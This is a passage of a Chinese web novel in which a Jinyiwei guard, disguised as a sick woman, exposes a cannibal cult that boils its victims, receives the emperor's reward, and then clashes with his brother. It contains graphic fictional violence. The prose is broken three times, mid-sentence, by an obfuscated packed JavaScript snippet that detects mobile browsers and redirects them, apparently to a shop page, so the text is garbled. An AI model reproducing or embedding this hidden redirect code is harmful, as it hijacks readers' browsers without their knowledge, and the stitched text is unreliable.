高的“啧”了一声,说,“她那样柔弱,病歪歪的,哪还有抵抗的余地?” 随即他附在矮子的耳边,“我们这样……” 矮子听了,脸上先是犹豫,后是肯定。 接连有人失踪,上京的人听到了风声,都不肯将自家的小孩放出来,女人们也是尽量不外出。 这导致他们找到“美人”的概率极小,如果交不了差,他们可是要自己当那祭品的! “好,就她了。”矮子肯定道,“若是将这样的美人带回去,仙长指定还要奖赏我们哩!” 于是,态度嚣张,颐指气使调戏这裴期的富家公子还在前面说。 这长得高的瘦子直接上去就是一闷棍。 富家公子只感觉后脑勺一阵剧痛,他摸了摸疼痛的地方,然后就瞧见手上一手的血红。 他难以置信地抬头,“你!你!你知道我是谁吗!” “我管你是谁,调戏良家妇人,该打!”高的,矮的两个人站在那里,面露凶光。 富家公子旁边跟着的小厮见状,连忙拉着自家公子后退,小声说:“公子,别与这些穷凶极恶之徒一般见识。” 富少身边带着的人少,也并没有什么趁手的武器。 他自知,与这看上去命都不想要的两人在这里起冲突,恐怕只会吃力不讨好。 于是他咬了咬牙,恶狠狠地说:“你们等着!” 随即他脚底生风,和带过来的那些人一下子都跑了。 这高矮两人才换了一副面孔,对裴期说:“美人,不,姑娘,你没事吧?” 裴期仍是虚虚地掩着唇,假意咳了几下之后再摇了摇头。 这时,老头忽然紧张起来,半蹲下身子递过来一个黑色小药丸, “哎呦,哎呦,囡囡,你吓着了吧?快点把药给吃了,唉,郎中说这药得就着温黄酒吃,这哪里有哟!” 裴期愣了一下,然后迅速地反应过来,捂着胸口蹙眉,一脸痛苦。 经过锦衣卫调查,精挑细选的地方,当然是一滴黄酒也没有的。 更何况还是温的呢? 高矮二人对视一眼,脸上浮现出不易察觉的得意神色, 但很快他们又变得一脸担忧,“老人家,老人家,我们知道隔壁有酒铺又有茶楼,我们扶着姑娘去用药。” 老头神情犹豫,“可,可……” “人命关天,您就不要再等了!”矮子说。 老头这才点了下头,眼神坚定,仿佛十分信任的样子,“您二位方才救了我孙女,现在一定也能!劳烦二位了!” 高矮二人听到这句话,脸上浮现出喜色,但又迅速压了下去。 接着他们走上前,想扶起裴期。 裴期也将那布毯披在了身上,顺势站起,腿弯着靠在了两人的身上。 高矮两人第一反应是计划得逞的暗喜。 第二反应则是—— ?这姑娘怎么这么高? 18.是眼线也没关系 那一高一矮两位贼人使的方法果然是同方才迷晕那小孩一样的,伸出进了药水的丝帕往别人口鼻一捂,把人捂晕过去就算完事。 裴期时刻留意着他们,他们掏出来那一方进了药水的帕子时,裴期屏住了呼吸,任由对方把帕子挥到自己的面前。 那帕子上的药水是按照寻常女子和孩童所需要的最大剂量准备的。 裴期身高和体重都较重,又屏了气,因此他没有一点儿影响,神智仍然清醒。 只是他学着之前被迷晕的那个孩童,闭着眼睛往旁边身体歪倒过去。 两位贼人见状,疑惑地对视了一眼,“今天这药水怎么这么快就起效了?往常都要捂住嘴鼻好一会儿才行呢。” 那个高的先反应过来,“肯定是她身体弱些,一点儿剂量都受不了。” 矮的听了高的的话,点了点头,“也对,这美人看着就柔弱,咱们快把她带走,别在这里耽搁了。” 他们商量着,并安排其中力气较大的一位,也就是那个又矮又胖,像倭瓜似的贼人去搬“晕倒”过去的裴期。 只是他刚伸出手去抬起裴期的上半身,就不可置信地嘀咕着,“怎么回事?这女的怎地这么重??” 他的力气不说扛起一头猛虎野兽,只单是帮一个寻常的、柔弱的、病重的女子,应当还是绰绰有余的,可他都用上吃奶的力了,还是没能把眼前这个人整个搬起来,真是见了鬼了。 高子见状非常唾弃,“定是你最近的一些时日懒惰了,力气都小了不少,连这样病重的女人都搬不动。” 说罢,他试图上前去帮忙,他伸出双手抓住了裴期的脚踝,接着和胖子一起往上抬。 他使劲的那一刹那也愣了,这,这,怎么这么重? 矮胖的见状嗤笑了一声,“还说我懒怠呢,你不也是一样?” 高的那人眉毛一皱,“别浪费时间说这些,赶紧把她弄走,不然外面的那些人该要怀疑咱俩在干什么了。” 于是那矮的也收了伤和这个高的一起,小心的沿着那偏僻的巷子往前走。 不过一会儿他们便到了巷子的尽头。 他们熟练地用脚拨开地上覆盖着一层薄薄的黄沙土,只见黄沙土下露出了一块形状较为怪异的石板。 但其实,寻常人若是不仔细看,还真看不出这石板的怪异之处。 怪不得这些人能够在将小孩儿女人给迷晕了之后迅速的带走,谁也找不到呢,原来是用了这随处可见的密道。 这也更加印证了幕后主使一定不是常人。 否则,谁有那么大的势力,居然能在这遍布眼线与巡逻人员的上京,这天子脚下干出这么啪啪打皇帝脸的事情,又不被发现呢。 随后这两人将裴期放下,打开了石板,随后拽住裴期的脚,一把将他拖入到这地道当中。 裴期在他们打开石板的间隙,在地道的旁边一处不起眼的地方用旁边散落的碎石子歪歪扭扭的刻下了一个“裴”字。 随后这两人在地道中穿行着,进了地道他们便不再警惕,时而把裴期放在地上,自己坐在旁边休息一阵,时而在随处可见的角落找到干粮,咔嚓咔嚓地吃了起来。 看来这地道当中是物资十分充足的,他们敢这样想来是之前的行动当中,只要进入了地道,便再也没有失手的时候。 裴期也趁着他们休息的这个间隙,暗中观察周围的环境,在心中计划计算着距离与时间,顺带用随处可见的碎石子在停留过的地方做上记号。 地道里毕竟缺少了光线的照射,火把也不敢多燃,怕将里面的氧气给耗尽,因此裴期眼前的光线也一会儿明一会儿暗的。 但他能感觉到越是往这地道的深处走,就越是温度升高。 这不正常。 种地的农人都会挖地窖来保藏自己一年当中的收成,那地窖一年四季都是阴凉的,怎么会像现在这样让人额上都浸出汗来呢? 不过一会儿这狭窄的地道便豁然开朗。 这地道当中竟然还藏着一个豪华的地下小院,小院里随意地堆着各式各样的金银珠宝绫罗绸缎。 这两个贼人好像对这些宝贝一点兴趣也没有似的,他们一脚踏上这些东西穿过了这个布满了金银珠宝的小院。 随后,他们敲响了在小院深处藏着的金丝楠木做成的门。 他们门敲的十分有节奏,只可惜太长了,只听一遍,裴期并没有记住。 然后“吱呀”一声,门被打开,有个光头从里边探了出来,看到“昏迷中”的裴期后,他眼中闪过一丝光亮,“不错,你们这次干得好。” 高矮贼人嘿嘿笑着,将裴期往里拖。 裴期故意让自己的身体软绵无力,仿佛还在昏迷之中。 这里弥漫着一股刺鼻腥臭的味道,还有咕嘟咕嘟烧水的声音。 他们将裴期随意地摆放在地上,倒是给了裴期机会趁机眼睛打开一条缝,小心的观察着周围的情况。 在他面向的角落有几个被锁住的高大笼子,笼子里隐隐传来微弱的哭泣声。 裴期心中一紧,看来失踪的人极有可能都被关在这些笼子里。 他不动声色地继续观察,发现周围墙壁上挂着一些奇怪的符文和画像,像是某种仪式。 屋子中央有一口巨大的铁锅,里面的水沸腾着,不断冒着热气,旁边的桌子上放着一些像调料似的瓶瓶罐罐和散发着寒光的刀具。 而且铁锅的旁边还拴着一个看上去十分凶恶的犬,望着铁锅,嘴角流着咸水。 而站在这里的人几乎每一个都将头发给剃光了,但他们身上穿的衣服却又不像是僧人。 裴期仔细的看了一下,原来他们不止将头发给剃光了,更是将自己的眉毛,睫毛,胡子等全都拔掉了。 这些人的脑袋好像一个没有毛发的光秃秃的白煮蛋。 他们眼神狂热地看着那口锅的旁边站着的一个干巴瘦弱的老头。 老头怀里抱着一个,闭着眼睛,不知道情况如何的孩童,看样子是正准备往这个锅里放。 此时那角落的笼子里忽然爆发出一阵巨大的哭声。 “不要!我求求你不要这样!如果你们想吃的话就吃我的肉!不要吃我的孩子!” 那干巴瘦弱的老头听到哭声,却丝毫没有动容,他干枯的嘴唇微微颤抖,发出一阵阴森的笑声,浑浊的眼球撇向旁边高大健硕的两个光头, “哼,看看你们两个干的好事,找回来的女人不但不美,竟连孩子也生了,这样的人吃了可没有滋补的功效!” 那两个光头长得甚是高大,却被这个干巴老头吓得一颤,被训斥得像个孩子一般,低着头,一句话也不说,满脸的愧疚。 干巴老头说完,朝旁边瞥了一眼,看到了裴期,这才脸上有了副好神色。 “这次抓回来的人品质倒是不错。”干巴老头舔了舔嘴唇,“正好这锅也大,不如就让新抓来的这个和我手里的一起进去。” 到这时那高矮两人脸上便露出一副得意的神情。 “仙长,为抓到这女人,我们可费了不少力气,您看这次能不能让我们……” 他话没有说完,对方却明白了他们的意思,他眯着眼睛,伸着脖子,摇晃着脑袋,“本仙已经知晓你二人的虔诚供奉,等这次食美完毕,便为你们举行仪式,除去你们身上所有污秽外物。” 这污秽外物便是指毛发等。 说罢,高矮二人狂喜,便主动走到了裴期的身边,把裴期抬起来之后往铁锅那边移动。 就在他们往铁锅旁边移动的时候,或许是因为期待着这种仪式,不知道是谁发出了第一声,念起了奇怪的听不懂的咒文。 紧接着,那些光头人却像是被蛊惑了一般,眼神狂热的盯着裴期,嘴里也跟着念念有词,像是在进行某种邪到极致的祷告。 或许是因为不忍看到又有人遭遇毒手,那铁笼子里面色苍白,眼神绝望的人忽然开始拼命的摇晃着笼子,哭声和哀求声一齐响了起来。 哭声,哀求声和祷告声交织在一起响彻天地。 声音越来越大,也震动着裴期的耳膜。 或许是因为太热的缘故,他出了许多汗,这些汗带着脸上的妆也花掉。 因此,这里忽然有人停下了祷告,指着他的脸一脸惊恐。 “他!他!他就是那个!……” 他话还没说完,裴期就猛地睁开了眼睛。 事到如今他也不可能坐以待毙,等着后面的人跟过来。 裴期眼中寒芒毕露,他双腿用力一蹬,挣脱了高矮两人的束缚。 还未等众人反应过来,他已迅速冲向那干巴老头,想先救下孩童。 光头信徒们见状,纷纷围了过来,试图阻拦裴期。 裴期毫无惧色,他身形闪动,手中不知何时多了一把从桌上顺来的匕首,与这些狂热的信徒战在一起。 他虽然并未学过这类的招式,从小到大也并不经常与他人打斗,可他胜在有一身的怪力气。 每挥出去一下便是强势的压迫,刀刀见血,一时之间还真没有人能近了他的身。 干瘦老头站在众人的身后,眼中闪过得意之色,“就算你找到这儿了又如何?双拳难敌四手,你能打得过他们吗?” 说罢,他就做势要把那小孩往沸腾的锅里面放。 裴期瞪大了眼睛,手上的动作愈发使劲,一不小心和前面拦着的壮硕男人手中的长刀碰在一起,匕首轻而易举地被削卷了刃。 他被这股力震地后退了几步,他手里握着的匕首已经不能使用。 眼前的人动作迅速,已经举起了那把长刀,准备将裴期一分为二。 那把长刀寒光凛冽,几乎马上就要砍上裴期的肩膀。 这时那扇紧闭的金丝楠木的门忽然“轰”得一声被一长腿踹开,裴期听到了熟悉的声音。 “裴期!拿刀!”李稷将手里的那把绣春刀迅速的朝这边抛了过来。 裴期眼神一凛,正如第一次那般,伸手稳稳接住绣春刀。 他握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130245|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀把,用力向上挥,转瞬之间居然将眼前这人手里拿着的长刀齐齐斩断。 干瘦老头见势不妙,想要逃跑,裴期眼睛睁大,他一脚踹开面前的敌人,挥刀朝老头袭去。 旁边的狗狂吠了起来。 老头眼中露出惊恐之色,但仍嘴硬:"你们敢动我?那人,那人是不会放过你们的!" 裴期冷笑,举刀想砍。 而老头为了躲避裴期,居然闪身想躲,可他忽然不知道踩到了地上谁的一滩血液,脚下一滑,居然头向下直直地向咕噜咕噜沸腾的水中掉了进去。 裴期趁机把他抱着的那个小孩儿给拉了过来。 在场的人只听到了一声短促的惨叫,这个坏事做尽的干瘦老头便彻底皮肉泛白栽在里面没了动静。 一阵水煮肉的香气传来。 在场的信徒们都愣了神,同锦衣卫的诸人缠斗的身形也停了下来。 他们有的喃喃自语着:“怎么,怎么会?仙长不是天上的神仙吗?怎么会掉进热水里去便没了声息呢?” 而这时,李稷不知道想到了什么,他嗤笑一声,声音低沉,带着一股摄人的蛊惑, “或许,那个锅才是你们仙长前往极乐世界的通道呢。” “仙长用自己做示范,教你们如何通向那个世界。” 李稷嘴角勾起,“你们,何不就追随了他而去?” 那些信徒听了李稷的话,脸上露出惊恐和犹豫的神色。 有的信徒竟真的一副恍然大悟的样子,他们眼神变得迷离,朝着那口大锅走去。 这些信徒完全无法接受自己信仰了这么久的,为其舍弃了全部身家性命的仙长居然是肉体凡胎。 他们肉眼可见地已经陷入了癫狂,此时无论说什么话他们也听不进去了。 他们只是摇摇晃晃的朝铁锅走去,那铁锅的外皮被烧的滚烫也不顾,他们将手搭在上面,手脚并用地爬了上去。 随着一声接着一声的入水的声音这些人居然一个接着一个的迫不及待的将自己送进了那口沸腾的铁锅之中。 在进入铁锅前,他们的眼神中无一例外都是期待和向往,仿佛向往着进去了之后便是仙长说的世界。 那个长生不老,荣华富贵的极乐世界。 可现实是,他们与先前进去的那个干瘦老头并没有什么不同,掉进水中的那一刹那,他们的眼神忽然变得迷茫,随后发出了惨叫,但很快便戛然而止了。 由于锅中人实在太多,这铁锅下面的架子承受不住重量,便轰然倒塌,里面的肉倾泻而出。 旁边拴着的,方才还在狂吠的那恶犬,瞬间不叫了,转而十分兴奋的凑到这一摊烂肉面前,迫不及待,一口接着一口地将地上的烂肉吃光。 可不知是贪心不足吃的太多,还是这刚从沸腾的铁锅中出来,太烫了的缘故,这狗在地上埋头苦吃了半天,居然往旁边一倒,眼睛翻白,四肢抽搐,也跟着一起去了。 饶是见惯了行刑场面的人见到这一幕也忍不住皱眉。 因此在场的有些跟过来的小锦衣卫当场就脸色铁青。 裴期也是看得心里有些泛恶心。 李稷盯着他许久,才问:“裴卿,是否觉得孤做得太过了?” “没有。”裴期诚实地摇摇头,他扫视了一眼周围还安然无恙的信徒们,“一报还一报,我犹嫌不够。” 李稷挑眉,好像是没想到裴期会说出这样的话。 他环顾了一周,面无表情地冷笑, “裴卿放心,这些人都会被送到锦衣卫中,让那些新入职的锦衣卫们看看,如何上刑,才会让人口吐真言。” 他这话一说,在场的那些人都白了脸色,锦衣卫那五花八门的刑法,谁人不知谁人不晓? 真去了,让那些人练手,下场未必比现在被狗吃了好过多少。 突然,裴期手中的小孩不知为何醒了过来,一睁开眼睛便是哇哇大哭。 裴期反应了过来,连忙上前去,把关押着人的笼子用刀给劈开。 方才关在里边儿苦苦哀求的那位母亲终于与自己的孩子团圆。 母亲抱着孩子,孩子抱着母亲劫后余生,哭作一团。 他们一哭,这笼子里面关着的,其他小孩儿也哭了。 裴期有些不知所措,只好左手捞一个,右手捞一个,把好几个没有大人在旁边的小孩儿抱在怀里,模仿着他儿时母亲哄他的模样,有些笨拙地,磕磕巴巴地用着并不符合时宜的童谣哄小孩: “夜深静悄悄,月娘挂树梢,满天小星斗,照在门脚头,小宝乖,小宝贤,小宝一觉眠到透,会晓行,会晓走,没烦没恼活到老……”* 李稷看着裴期还未来得及换下衣裙,好好擦一擦脸就着急忙慌哄陌生孩子的这模样。 他觉得,就算对方是不知道谁派过来的引诱自己的眼线也没关系。 待到他荣登大宝。 他会给裴期个一官半职,帮他寻觅几个俊朗的良人,平平安安,和和美美地过这一辈子。 19.欲擒故纵 无辜被抓进来的人都在安顿之后尽数送了回家,这个所谓的仙人不知道从哪儿弄来的金银珠宝有一部分被用来补偿了这些人。 裴期也想跟着后赶到的锦衣卫和大理寺的帮忙在现场翻找,取证。 现下他们对于今天发生的事情都没有准备,一些证物肯定还在这里。 可就在他直起身来的时候,忽然感觉到一阵头晕目眩,他脚步踉跄一下子变往旁边倒了过去。 太子隔得近,见状,伸手将他捞到了自己怀里。 “怎么了?”李稷问。 “没事。”裴期还想继续跟着取证,“我没事的。” 裴期想看着李稷,证明自己一切正常,可他这时眼神有些涣散,像是看不准李稷似的摇头晃脑。 他头上为了衬托他“病容”的小白花也随着他的动作晃来晃去。 李稷觉得实在有趣,但又担心对方的身体,于是把旁边的人叫来问,“彭煜,他这是怎么了?” 彭煜,也就是指挥使上前看了一眼,又嗅了一下, 说:“没什么大事,不过是方才那高矮两贼人给他使的药,因为这里热,所以现在药效发作,不用担心,药量不多,对身体也无害,过一会儿便会恢复了。” 对身体无害,在场的人都轻松了一些,甚至有人打趣起来, “也是裴期字写得实在难以辨认,要仔细看好久才能确定是他做的暗号,否则我们早就到了,这会儿也该带着他去看郎中了。” 裴期脑子虽然晕,但也知道自己的字写的不怎么好看,于是他下意识认真说,“我会练字的,下次便不会如此了。” 众人听了裴期的话,都笑作一团,锦衣卫的有哪几个会在乎自己写的字丑?多的是连“天地玄黄,宇宙洪荒”儿童启蒙都背不出来的。 这也就是专门说出来打趣裴期的,倒是让他当真了,甚是有趣。 原本紧张的氛围又轻松了几分。 李稷看着怀里眼神仍有些迷离却一脸认真的裴期,他嘴角微微上扬,“好,孤便等着看裴卿的字有何长进。” 裴期努力站稳身子,想要从李稷怀里挣脱出来,可那药效让他身体发软,使不上力。 他有些懊恼地皱眉,“殿下,放我下来” 李稷却暗自收紧了手臂,“你现在这模样,莫要逞强,先休息。” 药效下裴期推拒不开只得任由对方抱着。 这时旁边有一人忽然拿上来一个颜色与样貌都很奇怪的血玉上来,递到了李稷的眼前。 李稷神色陡然变得冰冷,这块血玉他再也熟悉不过。 他嘴角猛地一扯,露出一抹带着冷意的笑容。 “倒是让我好找。” 随着时间的推移,裴期愈发神志不清,几乎马上就要闭上眼睛了。 因此他只是下意识说: “找什么?我可以帮殿下找。” 尽管现在这种情况,他却仍旧不忘自己身为锦衣卫的职责所在。 但很可惜后面的话他听不清了。 因为他忽然跟断了线一样失去了意识。 —— 再睁开眼天色已经全黑了。 至于为什么能看到天色呢?那是因为裴期被放在锦衣卫司院里的一把躺椅上。 他一睁开眼,周围是一圈围着他看的, 乍一看十分怪异。 “你终于醒了。”有个人对他说,他带着笑意,“再睡下去只怕有人要将你叫醒了。” 裴期扶着脑袋晃了一下头,清醒了一下,“是有什么事吗?” “那当然。”这个人语气中是掩盖不住的羡慕,“皇上召见你,吩咐说让你醒了就去那边见他。” 说完他伸出手去,指了指旁边的那扇大门,“诺,就是那儿。” 裴期离开躺椅,站起身来,道了一声谢。 “不必谢我。”那人站起来,拍了一下裴期的肩膀说,“看来你小子是要飞黄腾达了,记住我的脸,别忘了我是你同僚就好。” 裴期现在不似以往一般听不懂别人的话,他知道对方只是开玩笑。 因此他朝这人微微颔首后就朝方才这人指的那扇门走。 到了门口,他先是伸出手敲了敲。 “咚咚” 接着是里面一个熟悉面孔的人开了门。 裴期还没来得及将身上的这装扮换下去,王公公开门见了他,虽然脸上没有其他的表情,可眼神中却忍不住流露了惊讶。 他方才以为彭煜那小子说话是为了逗皇上开心夸大其词呢。 没想到裴期还真的这扮相,扮做妇人去做诱饵了。 只是这样一来,又给锦衣卫抢过风头去了,裴期这小子还真是天生跟自己气场不合。 或许自己哪天也得像这彭煜一般找个能讨皇上开心的人物养着。 王公公一侧身让开了一道,裴期就从这里进去。 甫一进去,裴期就看到了正前方的桌子后,坐着一个胡子头发都花白,面容威严,与太子有几分相似的男人。 上次隔着轻纱,又是事情紧急,因此他并未能将这个帝王的脸全看清楚。 现在一看,只能说一眼看上去便是帝王的模样。 皇帝就坐在门对着的正前方,稍微往旁边的位置则是太子李稷,皇帝面前的桌子上放着一块方才找到的血玉。 再靠近门这边的,则是站着的指挥使、王公公以及一些固定会带出来的服侍人的小太监。 仔细一看,那小太监之中还有上次那被裴期救过,非得要报恩的那个。 他明显看上去比之前见到的那次要健康的多了,之前脸上身上带着的那些伤痕淤青也都不见,见到裴期,小太监的眼睛瞬间亮了起来,尽可能地在不让人发现的情况下,稍微往上抬了抬头,朝裴期眨眼。 裴期则上前朝皇上行礼,“参见陛下。” 皇上先是很久没有说话,任由裴期保持同一个姿势单膝在地上行礼许久。 若是换做旁人早就心生惶恐,胡乱猜测自己做错了什么了。 可裴期只是单纯地觉得,遇见皇帝后要行礼,然后皇帝再把自己叫起来是一个流程。 如果这个流程中如果卡住了,那就再等一会儿。 反正总会把这个流程给走完的。 因此裴期看上去格外有些不同于旁人的镇静自若。 见他这样,皇帝忽然笑了起来,他对着旁边站着的王公公说, “哈哈哈,我早觉得这小子有胆识又有意思,今日见到了,果真如此,想当初你可是吓得浑身抖地不成样呢。” 王公公在心里擦了把汗,咽了口唾沫,骂了一声裴期之后奉承说: “回陛下,唉,奴这是实在自身福薄,初见陛下龙威,便被吓得魂也丢了。” 皇帝撇了撇嘴。 因为面对的那些臣子都跟茅坑里的石头一样,又臭又硬。 所以他的确喜欢听奉承。 不会将这些奉承当真,却也是能让心里舒爽。 只可惜自从上次见过裴期之后,他便听这王狗说话越来越不是滋味,像是御膳房的那道甜酥梨吃腻了一样。 王宫小心翼翼地观察着皇帝的神色,发现对方脸上出现了轻微的不耐,他当下心里一紧,反思自己该不会是哪地方说错话了吧? 豆大的汗珠从他的额头渗出来,他低着头低眉顺眼的,嘴唇嚅动着,也不知道该说些什么。 幸好皇帝这时注意力并不在他的身上,他看向裴期,问:“朕刚才听你们指挥使说,这次抓捕你扮做了妇人作为诱饵立下汗马功劳,你怎么想?” 还能怎么想? 是要奖赏,还是要自夸自己的功劳大? 无论哪一种说出来只会显得此人夜郎自大。 皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144592|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝刚说完这话也觉得是给对方抛了一个难题出来,他无心为难这个挺有好感的小辈,于是他想了想还是准备再补充一句。 就在这时,裴期思索了一下却说: “回陛下,臣觉得,这次能够成功抓捕到贼人,陛下该有这里最大的一份功劳。” 皇帝瞬间来了兴趣,“哦?何以见得?” 旁边坐着的指挥使瞬间心就提了起来,该死的,这小子要拍马屁,也看看场合,皇帝也是到了今天才知道这事的,还能说出什么花来? 别到时候马屁没拍成,反倒连累锦衣卫了。 而王公公则竖起耳朵仔细听着,他心中有两个想法,要是这小子话说得,他记下来学着就行了,要是这小子话说得不好,那就更好了,锦衣卫以后别想风头盖过东厂。 李稷也是挑了挑眉,想知道裴期能说出什么。 然后只见裴期语气诚恳地说: “今日实在凶险,与那贼人缠斗之时,若不是陛下有先见之明,前段时间曾下令锻造的那批新的绣春刀锋利又坚韧,只怕臣也无力制服那些人。” “因此,陛下才是最大的功臣。” 他抬头,神色满是认真,说出的话一看便是发自肺腑。 这时在场的人才想起来——哦,确实还有这么回事。 之前锦衣卫只是负责监听监视,工作没那么凶险,绣春刀更多做做装饰用。 后来锦衣卫也需要负责查案,与贼人缠斗,许多锦衣卫因着这绣春刀拔出来却挡不了别人的劈砍而受伤。 于是皇帝索性就批下去,让给做一批新的武器。 若不是裴期这时提起来,连皇帝自己都忘了。 皇帝听完,抚掌大笑, “哈哈哈,原来如此,真是有意思极了,彭煜,可是你教他的那些话?倒是教了个妙人出来。” 彭煜好不容易才把那颗心放到肚子里去,又重新提了起来,他小心地站过来行礼,回答道, “这哪是臣可以教出来的?实不相瞒,陛下,裴期刚进来时我都觉得他脑子不太灵光,说话耿直,做事也耿直,这话如果不是发自他的肺腑,就算是有再多的人教他也是不会说的。” 皇帝听了,心里更加舒适,当下就将手上戴的那玉扳指取下,扔了过来。 裴期往前膝行两步,准确无误的接住了这枚扳指。 “王狗,明日去那南越进贡的东西里挑几样好的给裴卿送过去。”皇帝又说。 王公公心里恨的牙痒痒,又给这小子抢了一次风头,面上则点头哈腰应承,“哎,陛下,老奴知道了。” 见到裴期脸上那被汗融地所剩无几的胭脂,皇帝也玩心大起起来,“那高丽进贡来的胭脂也给裴卿拿一盒。” 裴期神情错愕地抬头,小心地问:“臣,臣要天天擦吗?” 皇帝又被逗笑了。 —— 月色渐浓,裴期也算是终于能回家去。 在热的地方待久了便黏糊糊的,身上这套衣服穿着特别难受,他想回府洗个澡给换了。 李稷叫住他,“裴卿,可否需要与孤同乘?” 裴期思索了一下,感觉回皇宫和回自己府上实在是不顺路,于是也不愿意麻烦太子,便摇头拒绝, “不必了,殿下,我自己就行。” 李稷也没恼,笑着和他道别。 见着裴期的背影,他旁边有个侍卫义愤填膺地说:“哼,居然敢拒绝殿下。” 那个白天见证了所有一切的小太监拼命朝他使着眼色。 天啦噜,夭寿了噜,这人在说些什么,他知不知道太子和裴大人可是…… 搞得侍卫莫名其妙的看着他疯狂眨巴的眼睛。 李稷则罕见地没有计较这些。 他心情颇好。 “无事。” 不过是一点欲擒故纵的小把戏罢了,无伤大雅。 20.弟弟?弟弟! 裴期回到家中时已是半夜。 好像自从在锦衣卫当差以来,他就没怎么好好的在晚上早回家过。 “裴兄,你终于回来了!” 裴府前有两个意想不到的人在那里站着等。 钱苗背后是辆自家的马车,他从马车上跳下来,“你快点说说他,今日他就非得在这儿等你回来了,怎么说也是不听的,我只好叫了家中的马车过来让他在里边儿歇着。” 之前他还以为杨明这小子说可以等很久,是在开玩笑呢,没想到裴期不出现,他是真的要等啊。 杨明却语气坚定,满脸的内疚,“再怎么说出了这样的事情也是我的错,若不是我非要裴兄早些出去的话,也撞不上他们在那儿布陷阱抓贼。” “不管你的事。”裴期说,忽而,他忽然想起眼前的这人,虽然低调却是个举人,正好…… “杨明,我有事要问你。” 听到这话杨明立马身体都挺直了,神色十分认真,“裴兄若是有东西问我,我定知无不言言无不尽。” 裴期皱眉,“倒也不是什么大事……就是……你可知怎么练字?” 今日因为他不会写漂亮的字。让事情差点出了差错,他一直耿耿于怀线下眼前就有个现成的举人在,他倒是可以好好问问。 杨明挠了挠头,随机小心地问,“那个,裴兄在以前可识写过什么字,读过什么书?” 这下可不太好,裴期简体字就全部认识,认识古代的这些文字,全靠它上辈子的简体字积累,到现在面对繁体字,写一个囫囵字都得反应半天。 见裴期面露难色。 杨明也不继续问,更加没有追究裴期明明生在这样的世家,却为什么自小到大不读书练字,他只是笑着说: “若是裴兄之前并没有练过任何字的话,那倒是好事,反而可以挑选一些自己喜爱的字体来学,像我们,小时候学了台阁体,长大时要再学颜体,柳体便只感觉力不从心了。” “那从头开始学要怎么做?”裴期说。 “小孩子启蒙便用别人写的《千字文》,《龙文鞭影》的。” 杨明笑着抬头看了看裴期, “裴兄定是比小孩儿强上许多的,因此只需下次去书肆挑选培训看着喜欢的字体学便可。” 不愧是已经考得了举人的,他几下就给裴期寻到了简单的法子,他考虑地周全,裴期看样子是不想去科举的,又和文臣不对付,因此便不必故意去迎合当下读书人所推崇的字体,只挑自己喜欢的即可。 裴期听了,也豁然开朗。 他也眉眼弯弯朝杨明道谢。 这下杨明和钱苗二人才注意到裴期身上穿着一件女子的衣裙,他一笑起来眉眼间的锋利变温和了许多,倒显得……艳? 钱苗眼神乱飘,怎么也没想到自己有一天心里会突然冒出这么个字来形容自己的好兄弟。 幸好裴期迟钝,是绝对察觉不到的。 “时间不早,你们快些回家吧。”裴期看了一眼月色,觉得现在肯定已经三更了。 天气越往后去就越是黑夜漫长,要是再留下去,只怕时间太晚了。 几人又说了几句话便准备着各自告别。 口忽然之间后面出现一个尖锐声音来,“你们是谁?!” 裴建从后边走了出来,他语气质问声音比平时的似乎更加尖利,两颊微红,好像是喝了点酒。 虽然说的是“你们”可他眼睛却只看着杨明一个人。 “你是谁?为何要叫我大哥兄长?” 杨明皱眉,他本身就拗,能不忍就不忍,因此,准备离开的他听到这话反倒上前一步, 说:“为何我不能?” 裴建一时之间也说不上来,他甚至并不知道自己为何会出现在这里,为什么会说这样的话,因此他胸膛起伏了两下,把自己的情绪平静之后说: “若是没有血缘,却非得对权贵攀亲攀故的,阁下可知都是什么人?” 他虽然不知道眼前的人是谁,但他一眼就能看出来这是个读书人。 读书人最注重的是什么? 清白与清高。 因此,污蔑对方是攀龙附凤之人,简直是能说地最过分的话了。 果然杨明听到这话,脸色微微涨红,但却并未退缩,反而朗声道:“我虽不才,但也绝非攀附权贵之徒。我与裴兄意气相投,以兄弟相称,是敬重他的为人,岂是你所想那般不堪。” 裴建气性也上来,他冷笑一声:“意气相投?哼,谁知道你心里打的什么主意。” 裴期眉头紧皱,不知道对方今天是吃错了什么药,他转身面对裴建,护住了身后的二人 , “裴建,我之前便已经说过,从今往后,我无论干什么事情都与你无关。” 裴建自从做下那个决定开始已经很久没有像现在这样,情绪起伏连耳朵都在耳鸣了。 平常再怎么样都能装一装的他不知为何忽然就被气的脑子一片空白,口不择言,声音尖利地说: “裴期,你是我的大哥,你与我有血缘关系,他与你没有血缘关系,凭什么这么叫?” “他是个还没有取得功名的普通人,你为什么问练字的事情不问我这个进士,非要问他?” “我还没有考,你怎么就知道我杨明就取得不了功名?” 杨明本想着离开,可听到这句话他又不禁从裴期后边走出来看着裴建,那固执的眼神简直与裴期一模一样。 裴建只是听到了这句话,便如遭雷击一般愣在了原地。 他的心当下就凉了半截。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 